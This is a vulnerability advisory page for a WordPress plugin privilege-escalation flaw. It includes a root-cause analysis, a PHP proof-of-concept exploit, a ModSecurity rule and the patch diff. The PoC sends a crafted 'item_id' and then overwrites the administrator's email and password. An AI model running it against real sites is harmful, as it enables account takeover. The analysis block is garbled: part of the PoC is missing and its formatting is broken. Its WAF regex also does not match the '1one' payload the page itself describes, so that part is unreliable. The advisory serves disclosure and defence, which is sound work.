Published : August 16, 2026

CVE-2026-18432: Frontend Admin by DynamiApps <= 3.29.9 Unauthenticated Privilege Escalation via 'item_id' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 3.29.9
Patched Version 3.29.10
Disclosed August 14, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-18432: The Frontend Admin by DynamiApps plugin for WordPress, versions 3.29.9 and earlier, contains an unauthenticated privilege escalation vulnerability. The flaw exists in the plugin’s user action class, which mishandles non-numeric user IDs due to an improperly gated authorization check. An attacker can leverage this to gain administrator-level access, allowing account takeover and full site compromise. The vulnerability carries a CVSS score of 9.8 and is classified under CWE-269.”,

“Root Cause: The vulnerability stems from the `conditions_logic()` method in `acf-frontend-form-element/main/frontend/forms/actions/user.php`. Prior to the patch, the method returned early for any non-numeric `user_id` value without executing the `current_user_can(‘edit_user’, $user_id)` check. This check is necessary to prevent unauthorized user edits. The plugin receives the `user_id` from the `item_id` parameter, processed in `acf-frontend-form-element/main/frontend/forms/classes/display.php`. This parameter is not validated to be numeric, allowing a crafted value like `1one` to pass through. When `conditions_logic()` sees this non-numeric value, it skips the capability check, assuming a new user creation. However, downstream code coerces this string to an integer, resulting in user ID 1. This allows an attacker to target the default administrator account.”,

“Exploitation: An unauthenticated attacker can exploit this by sending a POST request to the AJAX endpoint `wp-admin/admin-ajax.php` with the action `frontend_admin/forms/change_form`. The request must include the `item_id` parameter set to a non-numeric string such as `1one` and the `type` parameter set to `user`. If the site has a public-facing frontend user form, the attacker receives a server-signed `_acf_objects` payload containing the crafted user ID. This payload is used in a subsequent form submission to modify the administrator account’s password or email. When WordPress processes the `_acf_objects` data, it coerces the non-numeric ID to integer 1, allowing the attacker to overwrite the administrator’s credentials. In environments without a public user form, a subscriber-level account is sufficient to trigger the issue.”,

“Patch Analysis: The patch in version 3.29.10 introduces multiple fixes. In `display.php`, the `item_id` parameter is now strictly validated: if it is not numeric, the form is treated as a new user creation flow, and the value is not stored. In `user.php`, the `conditions_logic()` method now normalizes non-numeric user IDs to ‘none’ before any other logic. The `acf/pre_save_user` hook in the same file adds a defensive check to ensure the resolved user ID is numeric and the current user has `edit_user` capability; otherwise, the form submission is halted. These changes ensure that the authorization check cannot be bypassed with a crafted user ID.”,

“Impact: Successful exploitation grants an unauthenticated attacker full administrative privileges. This allows complete site takeover, including data theft, malware injection, and use of the compromised site for further attacks. The attacker can modify any user account, including the administrator, and leverage plugins or themes to achieve remote code execution. The vulnerability’s low complexity and lack of required authentication make it a critical threat to all affected installations.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-18432 – Frontend Admin by DynamiApps <= 3.29.9 – Unauthenticated Privilege Escalation via 'item_id' Parameternn ‘frontend_admin/forms/change_form’,n ‘type’ => ‘user’,n ‘item_id’ => ‘1one’, // crafted value to trigger the vulnerabilityn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));n$response = curl_exec($ch);ncurl_close($ch);nnif ($response === false) {n die(‘cURL error: . curl_error($ch));n}nn$decoded_response = json_decode($response, true);nif (!$decoded_response || empty($decoded_response[‘data’])) {n die(‘Failed to obtain _acf_objects payload’);n}nn$acf_objects = $decoded_response[‘data’];nn/**n * Step 2: Use the obtained _acf_objects payload to submit the user edit form.n * The crafted item_id is embedded in the encrypted payload and will be coerced to integer 1 (admin).n * This step demonstrates overwriting the admin password and email.n */nn$admin_password = ‘NewAdminPassword123!’;n$admin_email = ‘attacker@example.com’;nn$form_post_data = array(n ‘action’ => ‘frontend_admin/forms/submit_form’,n ‘_acf_objects’ => $acf_objects,n ‘user_email’ => $admin_email,n ‘user_password’ => $admin_password,n ‘confirm_password’ => $admin_password,n // Include any necessary nonce or field placeholders as required by the formn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_post_data));ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘X-Requested-With: XMLHttpRequest’));n$response = curl_exec($ch);ncurl_close($ch);nn$decoded = json_decode($response, true);nif ($decoded && isset($decoded[‘success’]) && $decoded[‘success’]) {n echo “Exploit completed successfully. Admin credentials changed.\n”;n} else {n echo “Exploit may have failed. Response: ” . $response . “\n”;n}n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-18432nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:202618432,phase:2,deny,status:403,chain,msg:’CVE-2026-18432 – Privilege Escalation via item_id’,severity:’CRITICAL’,tag:’CVE-2026-18432′”n SecRule ARGS_POST:action “@streq frontend_admin/forms/change_form” \n “chain”n SecRule ARGS:item_id “@rx ^[^0-9]+$” \n “chain”n SecRule ARGS_POST:type “@streq user” \n “deny””
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acf-frontend-form-element/acf-frontend.php
+++ b/acf-frontend-form-element/acf-frontend.php
@@ -3,7 +3,7 @@
  * Plugin Name: Frontend Admin
  * Plugin URI:  https://www.dynamiapps.com/frontend-admin/
  * Description: This awesome plugin allows you to easily display admin forms to the frontend of your site so your clients can easily edit content on their own from the frontend.
- * Version:     3.29.9
+ * Version:     3.29.10
  * Author:      Shabti Kaplan
  * Author URI:  https://www.dynamiapps.com/
  * Text Domain: frontend-admin
--- a/acf-frontend-form-element/main/elementor/widgets/general/submit-button.php
+++ b/acf-frontend-form-element/main/elementor/widgets/general/submit-button.php
@@ -190,8 +190,9 @@
 				'label'        => __( 'Submit Type', 'frontend-admin' ),
 				'type'         => Controls_Manager::SELECT,
 				'options'      => array(
-					'submit' => __( 'Submit', 'frontend-admin' ),
-					'save'   => __( 'Save Progress', 'frontend-admin' ),
+					'submit'  => __( 'Submit', 'frontend-admin' ),
+					'save'    => __( 'Save Progress', 'frontend-admin' ),
+					'preview' => __( 'Preview', 'frontend-admin' ),
 				),
 				'default'      => 'submit',
 			)
--- a/acf-frontend-form-element/main/frontend/fields/general/class-preview-button.php
+++ b/acf-frontend-form-element/main/frontend/fields/general/class-preview-button.php
@@ -0,0 +1,114 @@
+<?php
+namespace Frontend_AdminField_Types;
+
+if ( ! class_exists( 'preview_button' ) ) :
+
+	class preview_button extends Field_Base {
+
+
+
+		/*
+		*  __construct
+		*
+		*  This function will setup the field type data
+		*
+		*  @type    function
+		*  @date    5/03/2014
+		*  @since    5.0.0
+		*
+		*  @param    n/a
+		*  @return    n/a
+		*/
+
+		function initialize() {
+			// vars
+			$this->name     = 'preview_button';
+			$this->label    = __( 'Preview Button', 'frontend-admin' );
+			$this->category = __( 'Form', 'frontend-admin' );
+			$this->defaults = array(
+				'button_text'      => __( 'Preview', 'frontend-admin' ),
+				'field_label_hide' => 1,
+			);
+
+		}
+
+
+		/*
+		*  render_field()
+		*
+		*  Create the HTML interface for your field
+		*
+		*  @param    $field - an array holding all the field's data
+		*
+		*  @type    action
+		*  @since    3.6
+		*  @date    23/01/13
+		*/
+
+		function render_field( $field ) {
+			// vars
+			$m = '<button type="button" class="fea-submit-button button button-primary" data-state="preview">' . $field['button_text'] . '</button>';
+
+			// wptexturize (improves "quotes")
+			$m = wptexturize( $m );
+
+			echo wp_kses_post( $m );
+		}
+
+
+		/*
+		*  load_field()
+		*
+		*  This filter is appied to the $field after it is loaded from the database
+		*
+		*  @type    filter
+		*  @since    3.6
+		*  @date    23/01/13
+		*
+		*  @param    $field - the field array holding all the field options
+		*
+		*  @return    $field - the field array holding all the field options
+		*/
+		function load_field( $field ) {
+			 // remove name to avoid caching issue
+			$field['name'] = '';
+
+			// remove instructions
+			$field['instructions'] = '';
+
+			// remove required to avoid JS issues
+			$field['required'] = 0;
+
+			// set value other than 'null' to avoid ACF loading / caching issue
+			$field['value'] = false;
+
+			$field['field_label_hide'] = 1;
+
+			if ( empty( $field['button_text'] ) ) {
+				$field['button_text'] = $field['label'];
+			}
+
+			// return
+			return $field;
+		}
+
+		function render_field_settings( $field ) {
+			acf_render_field_setting(
+				$field,
+				array(
+					'label' => __( 'Button Text', 'frontend-admin' ),
+					'type'  => 'text',
+					'name'  => 'button_text',
+					'class' => 'update-label',
+				)
+			);
+		}
+
+	}
+
+
+
+
+endif; // class_exists check
+
+
--- a/acf-frontend-form-element/main/frontend/fields/post/class-post-status.php
+++ b/acf-frontend-form-element/main/frontend/fields/post/class-post-status.php
@@ -32,7 +32,12 @@
 		function pre_update_value( $checked, $value, $post_id, $field ) {
 			if( $this->name !== $field['type'] ){
 				return $checked;
-			}if ( $post_id && is_numeric( $post_id ) ) {
+			}
+			if ( ! empty( $GLOBALS['admin_form']['is_preview'] ) ) {
+				// previews must stay drafts - don't let a status field publish the post
+				return true;
+			}
+			if ( $post_id && is_numeric( $post_id ) ) {
 				$post_to_edit                = array(
 					'ID' => $post_id,
 				);
--- a/acf-frontend-form-element/main/frontend/fields/user/class-user-password.php
+++ b/acf-frontend-form-element/main/frontend/fields/user/class-user-password.php
@@ -142,6 +142,11 @@

 			if ( ! empty( $user[1] ) ) {
 				$user_id = $user[1];
+
+				if ( ! current_user_can( 'edit_user', $user_id ) ) {
+					return true;
+				}
+
 				remove_action( 'acf/save_post', '_acf_do_save_post' );
 				wp_update_user(
 					array(
--- a/acf-frontend-form-element/main/frontend/forms/actions/post.php
+++ b/acf-frontend-form-element/main/frontend/forms/actions/post.php
@@ -1085,8 +1085,22 @@
 				}
 			}

+			if ( ! empty( $form['is_preview'] ) ) {
+				// a preview may never publish: ignore any submitted status field
+				unset( $post_to_edit['post_status'] );
+				if ( empty( $old_status ) || in_array( $old_status, array( 'auto-draft', 'draft' ), true ) ) {
+					$record['status'] = 'draft';
+				}
+			}
+
+			$was_preview_draft = false;
+			if ( empty( $form['is_preview'] ) && is_numeric( $post_id ) && get_post_meta( $post_id, '_fea_preview_draft', true ) ) {
+				$was_preview_draft = true;
+				delete_post_meta( $post_id, '_fea_preview_draft' );
+			}
+
 			if ( empty( $post_to_edit['post_status'] ) ) {
-
+
 				if ( isset( $record['status'] ) && $record['status'] == 'draft' ) {
 					$post_to_edit['post_status'] = 'draft';
 				} else {
@@ -1096,9 +1110,12 @@
 						$post_to_edit['post_status'] = $status;
 					} elseif ( empty( $old_status ) || $old_status == 'auto-draft' ) {
 						$post_to_edit['post_status'] = 'publish';
+					} elseif ( $was_preview_draft && 'draft' == $old_status ) {
+						// draft only existed because of a preview - treat like a new post
+						$post_to_edit['post_status'] = 'publish';
 					}
 				}
-
+
 			}

 			$form = $this->save_post( $form, $post_to_edit, $metas, $post_to_duplicate );
@@ -1210,10 +1227,18 @@


 			if ( ! current_user_can( 'edit_post', $post_id ) ) {
-				if( ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
+				if ( ! empty( fea_instance()->form_preview ) && fea_instance()->form_preview->is_own_preview_draft( $post_id, $settings ) ) {
+					return $settings;
+				}
+				// map_meta_cap requires the post type's blanket edit_posts capability even
+				// for editing one's own post; roles with no native content capabilities
+				// (e.g. WooCommerce Customer) still own the post they authored, so allow
+				// that case without requiring the broader "Edit Other's Posts" permission.
+				$is_author = get_post_field( 'post_author', $post_id ) == $user->ID;
+				if ( ! $is_author && ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
 					$settings['post_id'] = 'none';
 				}
-			}
+			}

 			return $settings;
 		}
--- a/acf-frontend-form-element/main/frontend/forms/actions/user.php
+++ b/acf-frontend-form-element/main/frontend/forms/actions/user.php
@@ -433,6 +433,16 @@
 			// allow for custom save
 			$user_id = apply_filters( 'acf/pre_save_user', $user_id, $form );

+			// 'add_user' is the only legitimate non-numeric target (new user creation);
+			// anything else must resolve to a real user id the current requester can edit,
+			// independent of the show_form/special_permissions gating that ran earlier.
+			if ( 'add_user' !== $user_id ) {
+				if ( ! is_numeric( $user_id ) || ! current_user_can( 'edit_user', (int) $user_id ) ) {
+					return $form;
+				}
+				$user_id = (int) $user_id;
+			}
+
 			$username_generated = false;
 			$user_to_insert     = array();
 			$metas              = array();
@@ -677,7 +687,14 @@
 		public function conditions_logic( $settings, $condition, $user ){
 			$user_id = $settings['user_id'] ?? 'none';

+			// 'none' and 'add_user' are the only legitimate non-numeric states;
+			// anything else is unexpected input and must not bypass the capability check below.
+			if ( in_array( $user_id, array( 'none', 'add_user' ), true ) ) {
+				return $settings;
+			}
+
 			if( ! is_numeric( $user_id ) ){
+				$settings['user_id'] = 'none';
 				return $settings;
 			}

--- a/acf-frontend-form-element/main/frontend/forms/classes/display.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/display.php
@@ -1650,14 +1650,17 @@
 			}

 			if ( $request['item_id'] ) {
-				$type                  = $request['type'];
-				$form[ $type . '_id' ] = $request['item_id'];
-				if ( $form[ $type . '_id' ] ) {
-					if ( is_numeric( $form[ $type . '_id' ] ) ) {
-						$form[ 'save_to_' . $type ] = 'edit_' . $type;
-					} else {
-						$form[ 'save_to_' . $type ] = 'new_' . $type;
-					}
+				$type = $request['type'];
+
+				// only trust item_id as an object id when it's actually numeric; a non-numeric
+				// value (or garbage crafted to look like one, e.g. "1one") must not be stored
+				// as-is, since downstream code loosely casts ids and would coerce it to an
+				// unintended integer id instead of triggering the "new" flow.
+				if ( is_numeric( $request['item_id'] ) ) {
+					$form[ $type . '_id' ]      = absint( $request['item_id'] );
+					$form[ 'save_to_' . $type ] = 'edit_' . $type;
+				} else {
+					$form[ 'save_to_' . $type ] = 'new_' . $type;
 				}

 				if( $field && 'post' == $type ){
--- a/acf-frontend-form-element/main/frontend/forms/classes/permissions.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/permissions.php
@@ -231,20 +231,19 @@

 			if( empty( $condition['special_permissions'] ) || ! is_array( $condition['special_permissions'] ) ){
 				$condition['special_permissions'] = [];
-			}
-
-			$settings = apply_filters( 'frontend_admin/special_permissions', $settings, $condition, $active_user );
+			}
+
+			if ( $settings['display'] ) {
+				$settings = apply_filters( 'frontend_admin/special_permissions', $settings, $condition, $active_user );
+				$settings['special_permissions'] = $condition['special_permissions'];
+				return $settings;
+			}

 			if ( $condition['not_allowed'] == 'show_message' ) {
 				$settings['message'] = '<div class="acf-notice -limit frontend-admin-limit-message"><p>' . esc_html( $condition['not_allowed_message'] ) . '</p></div>';
 			} elseif ( $condition['not_allowed'] == 'custom_content' ) {
 				$settings['message'] = wp_kses_post( $condition['not_allowed_content'] );
 			}
-
-			if ( $settings['display'] ) {
-				$settings['special_permissions'] = $condition['special_permissions'];
-				break;
-			}
 		}

 		if ( empty( $settings['display'] ) ) {
--- a/acf-frontend-form-element/main/frontend/forms/classes/preview.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/preview.php
@@ -0,0 +1,120 @@
+<?php
+namespace Frontend_AdminClasses;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+if ( ! class_exists( 'Frontend_AdminClassesForm_Preview' ) ) :
+
+	class Form_Preview {
+
+		/**
+		 * How long a preview link stays valid, in seconds.
+		 *
+		 * @var int
+		 */
+		public $expiration = HOUR_IN_SECONDS;
+
+		public function get_token( $post_id, $expiry ) {
+			return hash_hmac( 'sha256', 'fea_preview|' . absint( $post_id ) . '|' . absint( $expiry ), wp_salt( 'auth' ) );
+		}
+
+		/**
+		 * Build a signed, expiring URL that lets anyone (including guests)
+		 * view an unpublished post in the theme template.
+		 *
+		 * @param int $post_id The draft/pending post to preview.
+		 * @return string
+		 */
+		public function get_preview_url( $post_id ) {
+			$expiry = time() + apply_filters( 'frontend_admin/form/preview_expiration', $this->expiration );
+
+			$args = array(
+				'p'            => $post_id,
+				'preview'      => 'true',
+				'_fea_preview' => $this->get_token( $post_id, $expiry ),
+				'_fea_exp'     => $expiry,
+			);
+
+			$post_type = get_post_type( $post_id );
+			if ( 'page' === $post_type ) {
+				unset( $args['p'] );
+				$args['page_id'] = $post_id;
+			} elseif ( 'post' !== $post_type ) {
+				$args['post_type'] = $post_type;
+			}
+
+			$url = add_query_arg( $args, home_url( '/' ) );
+
+			return apply_filters( 'frontend_admin/form/submission_preview', $url, $GLOBALS['admin_form'] ?? array() );
+		}
+
+		/**
+		 * Whether the current visitor may keep editing an unpublished draft that
+		 * only exists because they previewed this form - covers guests and users
+		 * without the edit_post capability. The post id can only reach the form
+		 * through the encrypted _acf_objects blob minted by return_preview().
+		 *
+		 * @param int   $post_id
+		 * @param array $form
+		 * @return bool
+		 */
+		public function is_own_preview_draft( $post_id, $form ) {
+			if ( empty( $form['id'] ) ) {
+				return false;
+			}
+			if ( get_post_meta( $post_id, '_fea_preview_draft', true ) != $form['id'] ) {
+				return false;
+			}
+			if ( ! in_array( get_post_status( $post_id ), array( 'draft', 'pending' ), true ) ) {
+				return false;
+			}
+			return (int) get_post_field( 'post_author', $post_id ) === (int) get_current_user_id();
+		}
+
+		/**
+		 * Let a request carrying a valid preview token view an unpublished post.
+		 *
+		 * Runs before WP_Query's singular status/404 check, so flipping the
+		 * in-memory status to publish is enough — no capability grant, no DB write.
+		 *
+		 * @param array     $posts
+		 * @param WP_Query $query
+		 * @return array
+		 */
+		public function show_draft( $posts, $query ) {
+			if ( empty( $_GET['_fea_preview'] ) || empty( $_GET['_fea_exp'] ) ) {
+				return $posts;
+			}
+			if ( ! $query->is_main_query() || ! $query->is_singular() || count( $posts ) !== 1 ) {
+				return $posts;
+			}
+
+			$post   = $posts[0];
+			$expiry = absint( $_GET['_fea_exp'] );
+
+			if ( time() > $expiry ) {
+				return $posts;
+			}
+			if ( ! in_array( $post->post_status, array( 'draft', 'pending' ), true ) ) {
+				return $posts;
+			}
+			if ( ! hash_equals( $this->get_token( $post->ID, $expiry ), (string) $_GET['_fea_preview'] ) ) {
+				return $posts;
+			}
+
+			$post->post_status = 'publish';
+			nocache_headers();
+
+			return $posts;
+		}
+
+		public function __construct() {
+			add_filter( 'posts_results', array( $this, 'show_draft' ), 10, 2 );
+		}
+	}
+
+	fea_instance()->form_preview = new Form_Preview();
+
+endif;
--- a/acf-frontend-form-element/main/frontend/forms/classes/submit.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/submit.php
@@ -35,6 +35,10 @@
 				foreach ( $_post as $source => $fields ) {
 					$source = fea_decrypt( $source );

+					if ( ! $this->current_user_can_edit_object( $source ) ) {
+						continue;
+					}
+
 					foreach ( $fields as $key => $value ) {
 						$field = $fea_instance->frontend->get_field( $key );
 						if( ! $field ) continue;
@@ -87,6 +91,36 @@
 			wp_send_json_success( $json );
 		}

+		/**
+		 * Checks whether the current user may edit the object a decrypted
+		 * inline-update source resolves to. The source string comes from a
+		 * client-supplied token, so it must be re-authorized here rather than
+		 * trusted as-is.
+		 */
+		public function current_user_can_edit_object( $source ) {
+			if ( empty( $source ) ) {
+				return false;
+			}
+
+			if ( is_numeric( $source ) ) {
+				return current_user_can( 'edit_post', $source );
+			}
+
+			if ( ! is_string( $source ) ) {
+				return false;
+			}
+
+			if ( 0 === strpos( $source, 'user_' ) ) {
+				return current_user_can( 'edit_user', substr( $source, 5 ) );
+			}
+
+			if ( 0 === strpos( $source, 'term_' ) ) {
+				return current_user_can( 'edit_term', substr( $source, 5 ) );
+			}
+
+			return false;
+		}
+

 		public function check_submit_form() {

@@ -112,11 +146,20 @@
 			}


+			// permissions.php echoes a not-allowed message as a side effect when denying
+			// access; buffer and discard it here so it can't leak raw HTML in front of
+			// the JSON response body below and break the front-end's JSON.parse().
+			ob_start();
 			$form = apply_filters( 'frontend_admin/show_form', $form );
+			ob_end_clean();
 			if( empty( $form['display'] ) ) {
 				wp_send_json_error( __( 'You do not have permission to submit this form.', 'frontend-admin' ) );
 			}
-
+
+			$form['is_preview'] = isset( $_POST['_acf_status'] ) && 'preview' == $_POST['_acf_status'];
+
+			error_log( '[FEA_PREVIEW_DEBUG] check_submit_form: _acf_status=' . ( $_POST['_acf_status'] ?? '<unset>' ) . ' is_preview=' . var_export( $form['is_preview'], true ) . ' form_id=' . $form['id'] );
+
 			// submit
 			$this->submit_form( $form );

@@ -387,6 +430,14 @@
 			$form['submission_status'] = 'approved';

 			$form = $this->should_save_content( $form );
+
+			error_log( '[FEA_PREVIEW_DEBUG] submit_form: is_preview=' . var_export( ! empty( $form['is_preview'] ), true ) . ' save_data=' . var_export( $form['save_data'] ?? null, true ) . ' save_to_post=' . ( $form['save_to_post'] ?? '<unset>' ) . ' post_id=' . var_export( $form['post_id'] ?? null, true ) );
+
+			if ( ! empty( $form['is_preview'] ) ) {
+				$form = $this->prepare_preview( $form );
+				error_log( '[FEA_PREVIEW_DEBUG] after prepare_preview: record.status=' . var_export( $form['record']['status'] ?? null, true ) . ' new_post_status=' . var_export( $form['new_post_status'] ?? null, true ) . ' new_product_status=' . var_export( $form['new_product_status'] ?? null, true ) );
+			}
+
 			foreach ( $fea_instance->local_actions as $name => $action ) {
 				if ( $name != 'options' && isset( $form[ "{$name}_id" ] ) ) {
 						$form['record'][ $name ] = $form[ "{$name}_id" ];
@@ -397,12 +448,118 @@
 			}

 			$fea_form = $form;
-
+
+			error_log( '[FEA_PREVIEW_DEBUG] after local actions: record=' . wp_json_encode( $form['record'] ?? null ) );
+
 			$form = $this->run_actions( $form );

 			$this->return_form( $form );
 		}

+		/**
+		 * Field group key each local action actually checks before writing - mirrors the
+		 * bail conditions in ActionPost::run() / ActionProduct::run() / etc. A type's
+		 * save_to_$type/{$type}_id can be non-empty (e.g. "current_post" defaulting to
+		 * whatever page hosts the form) even though the submission never touches it.
+		 */
+		public function preview_active_types( $form ) {
+			$fields_key = array(
+				'post'    => 'post',
+				'user'    => 'user',
+				'term'    => 'term',
+				'product' => 'woo_product',
+			);
+			$active = array();
+			foreach ( $fields_key as $type => $key ) {
+				if ( ! empty( $form['record']['fields'][ $key ] ) ) {
+					$active[] = $type;
+				}
+			}
+			return $active;
+		}
+
+		public function prepare_preview( $form ) {
+			$active_types = $this->preview_active_types( $form );
+			foreach ( array( 'post', 'product' ) as $type ) {
+				if ( ! in_array( $type, $active_types, true ) ) {
+					continue;
+				}
+				$save_to = $form[ "save_to_$type" ] ?? '';
+				if ( ! $save_to && empty( $form[ "{$type}_id" ] ) ) {
+					continue;
+				}
+				if ( "duplicate_$type" == $save_to ) {
+					// duplicating creates a new object; the (possibly published) source is untouched
+					$form['record']['status'] = 'draft';
+					continue;
+				}
+				// key off the resolved target id, not save_to: a form rehydrated from
+				// _acf_objects keeps save_to "new_*" while the id is already numeric
+				$target = $form[ "{$type}_id" ] ?? '';
+				if ( ! is_numeric( $target ) && ! empty( $form['record'][ $type ] ) ) {
+					$target = $form['record'][ $type ];
+				}
+				if ( is_numeric( $target ) ) {
+					if ( 'publish' == get_post_status( $target ) ) {
+						wp_send_json_error( __( 'Preview is only available for unpublished content.', 'frontend-admin' ) );
+					}
+					// keep the current draft/pending status instead of applying the form's configured status
+					$form[ "new_{$type}_status" ] = 'no_change';
+				} else {
+					$form['record']['status'] = 'draft';
+				}
+			}
+			return $form;
+		}
+
+		public function return_preview( $form ) {
+			global $fea_instance;
+
+			$active_types = $this->preview_active_types( $form );
+
+			$preview_id = false;
+			foreach ( array( 'product', 'post' ) as $type ) {
+				if ( in_array( $type, $active_types, true ) && ! empty( $form['record'][ $type ] ) && is_numeric( $form['record'][ $type ] ) ) {
+					$preview_id = $form['record'][ $type ];
+					break;
+				}
+			}
+
+			error_log( '[FEA_PREVIEW_DEBUG] return_preview: preview_id=' . var_export( $preview_id, true ) . ' active_types=' . implode( ',', $active_types ) . ' record=' . wp_json_encode( $form['record'] ?? null ) );
+
+			if ( ! $preview_id ) {
+				wp_send_json_error( __( 'Nothing to preview.', 'frontend-admin' ) );
+			}
+
+			$objects = array();
+			foreach ( array( 'post', 'user', 'term', 'product' ) as $type ) {
+				if ( in_array( $type, $active_types, true ) && ! empty( $form['record'][ $type ] ) && is_numeric( $form['record'][ $type ] ) ) {
+					if ( in_array( $type, array( 'post', 'product' ), true ) && "edit_$type" != ( $form[ "save_to_$type" ] ?? '' ) ) {
+						// remember this draft only exists because of a preview, so the
+						// real submit can still apply the form's new-object status logic
+						update_post_meta( $form['record'][ $type ], '_fea_preview_draft', $form['id'] );
+					}
+					$form[ $type . '_id' ]   = $form['record'][ $type ];
+					$form[ "save_to_$type" ] = "edit_$type";
+					$objects[ $type ]        = $form['record'][ $type ];
+				}
+			}
+			if ( ! empty( $form['submission'] ) ) {
+				$objects['submission'] = $form['submission'];
+			}
+
+			$response = array(
+				'location'     => 'current',
+				'form_element' => $form['id'],
+				'objects'      => fea_encrypt( json_encode( $objects ) ),
+				'preview'      => $fea_instance->form_preview->get_preview_url( $preview_id ),
+			);
+
+			do_action( 'frontend_admin/form/after_preview', $form, $response );
+
+			wp_send_json_success( $response );
+		}
+
 		public function run_actions( $form ) {
 			global $fea_instance;
 			$run_actions = apply_filters( 'frontend_admin/form/run_actions', true, $form );
@@ -423,7 +580,7 @@

 			if ( ! empty( $remote_actions ) ) {

-				if ( empty( $form['approval'] ) ) {
+				if ( empty( $form['approval'] ) && empty( $form['is_preview'] ) ) {
 					if ( ! empty( $form['submit_actions'] ) ) {
 						foreach ( $remote_actions as $name => $action ) {
 							$action->run( $form );
@@ -480,6 +637,10 @@

 			$form = apply_filters( 'frontend_admin/form/return', $form );

+			if ( ! empty( $form['is_preview'] ) ) {
+				$this->return_preview( $form );
+			}
+
 			if( ! empty( $_POST['redirect'] ) ){
 				$form['redirect'] = $_POST['redirect'];
 			}
--- a/acf-frontend-form-element/main/frontend/module.php
+++ b/acf-frontend-form-element/main/frontend/module.php
@@ -477,11 +477,11 @@
 					$basic_settings = array( 'name', 'instructions', 'required', 'wrapper', 'frontend_admin_display_mode', 'field_label_hide', 'only_front' );
 					foreach( $basic_settings as $setting ){
 						$setting = $setting;
-						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-submit-button .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
+						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-submit-button .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-preview-button .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
 						echo ".acf-field-object-form-step .acf-field-setting-{$setting}, .acf-field-object-save-progress .acf-field-setting-{$setting}, .acf-field-object-fields-select .acf-field-setting-{$setting}{display:none}";
 					}
-					echo '.acf-field-object-form-step .acf-field-setting-custom_fields_save, .acf-field-object-submit-button .acf-field-setting-custom_fields_save, .acf-field-object-save-progress .acf-field-setting-custom_fields_save{display:none}';
-					echo '.acf-field-object-form-step[data-step="1"] .acf-field-setting-prev_button_text,.acf-field-object-form-step .acf-field-setting-name,.acf-field-object-submit-button .acf-field-setting-label,.acf-field-object-save-progress .acf-field-setting-label,.acf-field-object-delete-post .acf-field-setting-label,.acf-field-object-delete-term .acf-field-setting-label,.acf-field-object-delete-user .acf-field-setting-label,.acf-field-object-delete-product .acf-field-setting-label,.acf-field-object-custom-terms .acf-field-setting-ui{display:none}';
+					echo '.acf-field-object-form-step .acf-field-setting-custom_fields_save, .acf-field-object-submit-button .acf-field-setting-custom_fields_save, .acf-field-object-save-progress .acf-field-setting-custom_fields_save, .acf-field-object-preview-button .acf-field-setting-custom_fields_save{display:none}';
+					echo '.acf-field-object-form-step[data-step="1"] .acf-field-setting-prev_button_text,.acf-field-object-form-step .acf-field-setting-name,.acf-field-object-submit-button .acf-field-setting-label,.acf-field-object-save-progress .acf-field-setting-label,.acf-field-object-preview-button .acf-field-setting-label,.acf-field-object-delete-post .acf-field-setting-label,.acf-field-object-delete-term .acf-field-setting-label,.acf-field-object-delete-user .acf-field-setting-label,.acf-field-object-delete-product .acf-field-setting-label,.acf-field-object-custom-terms .acf-field-setting-ui{display:none}';

 					echo '</style>';
 				}
@@ -516,6 +516,7 @@
 					'related-items',
 					'submit-button',
 					'save-progress',
+					'preview-button',
 					'time',
 					'date',
 					'color',
@@ -645,6 +646,7 @@
 			include_once __DIR__ . '/forms/classes/limit-submit.php';

 			include_once __DIR__ . '/forms/classes/permissions.php';
+			include_once __DIR__ . '/forms/classes/preview.php';
 			include_once __DIR__ . '/forms/classes/shortcodes.php';
 			include_once __DIR__ . '/forms/actions/action-base.php';

--- a/acf-frontend-form-element/main/plugin.php
+++ b/acf-frontend-form-element/main/plugin.php
@@ -45,6 +45,7 @@
 		public $form_display = null;
 		public $form_actions = null;
 		public $form_validate = null;
+		public $form_preview = null;

 		//form actions
 		public $local_actions = array();
@@ -103,7 +104,7 @@
 			define( 'FEA_URL', $data['plugin_url'] );
 			define( 'FEA_DIR', $data['plugin_dir'] );
 			define( 'FEA_PLUGIN', $data['plugin'] );
-			define( 'FEA_VERSION', '3.29.9' );
+			define( 'FEA_VERSION', '3.29.10' );
 			do_action( 'front_end_admin_loaded' );

 			// Add tutorial videos to plugin item on plugins page

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
